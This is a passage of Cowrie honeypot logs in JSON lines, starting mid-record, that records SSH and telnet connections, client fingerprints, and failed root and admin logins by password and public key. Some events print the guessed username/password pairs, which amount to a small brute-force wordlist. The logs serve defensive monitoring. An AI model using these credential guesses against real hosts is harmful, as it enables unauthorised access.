h.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:47.491280Z","src_ip":"103.98.149.87","session":"348d5290317d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":32836,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb3aa4d7e475","protocol":"ssh","message":"New connection: 176.65.148.108:32836 (10.17.0.5:22) [session: fb3aa4d7e475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.143938Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310391","message":"login attempt [admin/310391] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.187746Z","src_ip":"2.57.121.112","session":"1e1399bbbf64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.228203Z","src_ip":"176.65.148.108","session":"fb3aa4d7e475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":32842,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdfc87350db3","protocol":"ssh","message":"New connection: 176.65.148.108:32842 (10.17.0.5:22) [session: bdfc87350db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.308319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.313496Z","src_ip":"176.65.148.108","session":"bdfc87350db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.398810Z","src_ip":"176.65.148.108","session":"bdfc87350db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtn123","message":"login attempt [root/ghbdtn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.414652Z","src_ip":"103.98.149.87","session":"348d5290317d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123","message":"login attempt [a/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.650806Z","src_ip":"176.65.148.108","session":"bdfc87350db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":40160,"dst_ip":"159.203.135.109","dst_port":22,"session":"b00adc39d670","protocol":"ssh","message":"New connection: 69.49.246.176:40160 (159.203.135.109:22) [session: b00adc39d670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.736377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.746818Z","src_ip":"69.49.246.176","session":"b00adc39d670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.768564Z","src_ip":"69.49.246.176","session":"b00adc39d670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jingjing","message":"login attempt [root/jingjing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:48.928461Z","src_ip":"69.49.246.176","session":"b00adc39d670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:49.317246Z","src_ip":"2.57.121.112","session":"1e1399bbbf64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:49.661200Z","src_ip":"103.98.149.87","session":"348d5290317d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:49.736486Z","src_ip":"176.65.148.108","session":"bdfc87350db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:44:49.955406Z","src_ip":"69.49.246.176","session":"b00adc39d670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":37834,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d2bfe039542","protocol":"ssh","message":"New connection: 103.243.24.124:37834 (10.17.0.5:22) [session: 3d2bfe039542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:08.954602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:08.962433Z","src_ip":"103.243.24.124","session":"3d2bfe039542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:09.164101Z","src_ip":"103.243.24.124","session":"3d2bfe039542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"schmidt","message":"login attempt [root/schmidt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:09.765476Z","src_ip":"103.243.24.124","session":"3d2bfe039542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.480024576187134,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:10.863282Z","src_ip":"192.119.13.58","session":"d1889d08f4f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:10.969937Z","src_ip":"103.243.24.124","session":"3d2bfe039542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":44386,"dst_ip":"159.203.135.109","dst_port":22,"session":"b569f229ab15","protocol":"ssh","message":"New connection: 43.134.112.237:44386 (159.203.135.109:22) [session: b569f229ab15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:16.998396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:17.003604Z","src_ip":"43.134.112.237","session":"b569f229ab15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:17.250185Z","src_ip":"43.134.112.237","session":"b569f229ab15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lyc123","message":"login attempt [root/lyc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:18.263788Z","src_ip":"43.134.112.237","session":"b569f229ab15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.103.2","src_port":59394,"dst_ip":"10.17.0.5","dst_port":22,"session":"a56e5854fb5b","protocol":"ssh","message":"New connection: 172.93.103.2:59394 (10.17.0.5:22) [session: a56e5854fb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.076849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.082207Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.094355Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:0d:e9:8d:05:96:d6:51:5e:9f:b8:c2:de:f4:86:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEBEk7qkwC+PyEYU9J42Obd+KFbbMiar12kNuPcOAzqLGqgjMtQ+LUuCid2Cpzx+EEkeOO8FYSwYm3o50iObau2ElmM6grnJkFutdQBwCRsxqEB5f4u/rip9cSakP01VE9Kwnez1Slwd/iBsyO+aGXncLd1SL6MtbZgvqxm+UeMB1kgAgKWXhwvs47BkATBLYFvc+dS5gicKdgVY7/UpHC7LYWGLCg2sN40CwPExSozrXKYx6ldlvEDW4gkgvME2kdrzsVuGbfKZtbPyBe19ZCPXofxc1Lgq/k1EnfwAb3rQbvA/0X/aQoZEXM+D26nYIenSQdvHBFyVWU5DvlAUTj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:0d:e9:8d:05:96:d6:51:5e:9f:b8:c2:de:f4:86:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.114643Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:0d:e9:8d:05:96:d6:51:5e:9f:b8:c2:de:f4:86:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEBEk7qkwC+PyEYU9J42Obd+KFbbMiar12kNuPcOAzqLGqgjMtQ+LUuCid2Cpzx+EEkeOO8FYSwYm3o50iObau2ElmM6grnJkFutdQBwCRsxqEB5f4u/rip9cSakP01VE9Kwnez1Slwd/iBsyO+aGXncLd1SL6MtbZgvqxm+UeMB1kgAgKWXhwvs47BkATBLYFvc+dS5gicKdgVY7/UpHC7LYWGLCg2sN40CwPExSozrXKYx6ldlvEDW4gkgvME2kdrzsVuGbfKZtbPyBe19ZCPXofxc1Lgq/k1EnfwAb3rQbvA/0X/aQoZEXM+D26nYIenSQdvHBFyVWU5DvlAUTj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.118922Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:51:6b:bb:ca:2d:ad:78:e3:fb:06:1a:78:66:10:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv83nHhWapechfXxX+uqRiszJ+1OLRM7jVLM1vFJnr2mjcQLIj1lTn4Ro6jOOZoDLdsWztGNtUo+NbUQdbgwJXA1NUwVB/BA8tcAVw2Pzzi8SEgmM5epAkjLeQNTmasdhz3CgLEBo62eQLcjBmKHT23MoqlohOds0Mxp4bRjnUBzUyRheboI4gjsvaFngVWc4E1NoeknKxxldxSORFdZVR1uvUZtw2dqWiU1po/c+3g6VQ23D63YFUmbC0LDbMTZz2vjKEG9Kig1RLcC83zdmzzOaAFMWC4rnljxtU88gp/8bBsaD6ZaOGojK0ohM4CVXMEQ1zzO4ZElVCnWDy6vZxN+iPpNi/wG5UMXl/P9mQ6PwxxxgyUBRdsy4JTaWW725aMq2fpTvRVhpoRd1MV719gB8kr0coJdM4n3Jqs08u5E3lK7GK27v/XJe95NNWfgzlPLEVhTvUJ8FzUsmEvsEqregy/f85YjeJ7/PlDzzuOYYs1E2A4uLe9WBG2yiHytWmprgKKOPu/NuTknu4u/UCWmoesKlA7c0cd689A0RtOcA6/NMwDvIg4WklV2q0KBYNGtJ2zKiWdbR7SUOnj90KXQkuin1Nst2kGwDN8yhy3M4woxujS7xx4uIFuame9iAE8npiimdREIZg9V79gGNWTmi6xUIBEohDv3QOD+4zNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:51:6b:bb:ca:2d:ad:78:e3:fb:06:1a:78:66:10:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.127260Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:51:6b:bb:ca:2d:ad:78:e3:fb:06:1a:78:66:10:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv83nHhWapechfXxX+uqRiszJ+1OLRM7jVLM1vFJnr2mjcQLIj1lTn4Ro6jOOZoDLdsWztGNtUo+NbUQdbgwJXA1NUwVB/BA8tcAVw2Pzzi8SEgmM5epAkjLeQNTmasdhz3CgLEBo62eQLcjBmKHT23MoqlohOds0Mxp4bRjnUBzUyRheboI4gjsvaFngVWc4E1NoeknKxxldxSORFdZVR1uvUZtw2dqWiU1po/c+3g6VQ23D63YFUmbC0LDbMTZz2vjKEG9Kig1RLcC83zdmzzOaAFMWC4rnljxtU88gp/8bBsaD6ZaOGojK0ohM4CVXMEQ1zzO4ZElVCnWDy6vZxN+iPpNi/wG5UMXl/P9mQ6PwxxxgyUBRdsy4JTaWW725aMq2fpTvRVhpoRd1MV719gB8kr0coJdM4n3Jqs08u5E3lK7GK27v/XJe95NNWfgzlPLEVhTvUJ8FzUsmEvsEqregy/f85YjeJ7/PlDzzuOYYs1E2A4uLe9WBG2yiHytWmprgKKOPu/NuTknu4u/UCWmoesKlA7c0cd689A0RtOcA6/NMwDvIg4WklV2q0KBYNGtJ2zKiWdbR7SUOnj90KXQkuin1Nst2kGwDN8yhy3M4woxujS7xx4uIFuame9iAE8npiimdREIZg9V79gGNWTmi6xUIBEohDv3QOD+4zNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.131232Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:3b:9f:c9:80:24:15:5e:c5:f0:36:a2:bb:50:a1:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjoEtYtSY3n4j+/D/t0q0niJSJbrYNl1LekAjJVZQdSkbh1Vj/ym3+e2iYw5VUyennVZcmeyFCBxCybLqU5qLu5axEhNqZYNWcJfAIRono0ClfmDhSTzvbmomgl+Dy4geq5/ebPh+Yq8sS0Ns2/e5D2EBNzD3RQRw0bBEIeoS3s7aonbmMrI3pGU7826ZdSssR5HCkE9zlHTURVl/qf3m8Bu2O89gV1sYWVABdA78ItI0396z5YDkzWSEEXsAwSeg5RrK+CdW27f5lJRMkNZacKVpeAVk9dC909kbglILO/Re8Bxg9J8fRHu6wepW0IIf8GwVZwSzjTwrHiWEM3yCfKNlmKMcH5XD8pwHEy7AFp92RAv2nk58WDSTaGae2F+vvXELA1puAen1QrLE+4ntubWTS6HG+vGjEsVi1putlSEiSctk0F/dkcumBtcM3Bzy2CwBky8TlB8E8cJLl8uCz7bVVmxWKjAeiX+YuXJvKTY/6nx3IiMNOkgYkQPKeMe8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:3b:9f:c9:80:24:15:5e:c5:f0:36:a2:bb:50:a1:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.140317Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:3b:9f:c9:80:24:15:5e:c5:f0:36:a2:bb:50:a1:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjoEtYtSY3n4j+/D/t0q0niJSJbrYNl1LekAjJVZQdSkbh1Vj/ym3+e2iYw5VUyennVZcmeyFCBxCybLqU5qLu5axEhNqZYNWcJfAIRono0ClfmDhSTzvbmomgl+Dy4geq5/ebPh+Yq8sS0Ns2/e5D2EBNzD3RQRw0bBEIeoS3s7aonbmMrI3pGU7826ZdSssR5HCkE9zlHTURVl/qf3m8Bu2O89gV1sYWVABdA78ItI0396z5YDkzWSEEXsAwSeg5RrK+CdW27f5lJRMkNZacKVpeAVk9dC909kbglILO/Re8Bxg9J8fRHu6wepW0IIf8GwVZwSzjTwrHiWEM3yCfKNlmKMcH5XD8pwHEy7AFp92RAv2nk58WDSTaGae2F+vvXELA1puAen1QrLE+4ntubWTS6HG+vGjEsVi1putlSEiSctk0F/dkcumBtcM3Bzy2CwBky8TlB8E8cJLl8uCz7bVVmxWKjAeiX+YuXJvKTY/6nx3IiMNOkgYkQPKeMe8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:45:19.145157Z","src_ip":"172.93.103.2","session":"a56e5854fb5b","protocol":"ssh"}
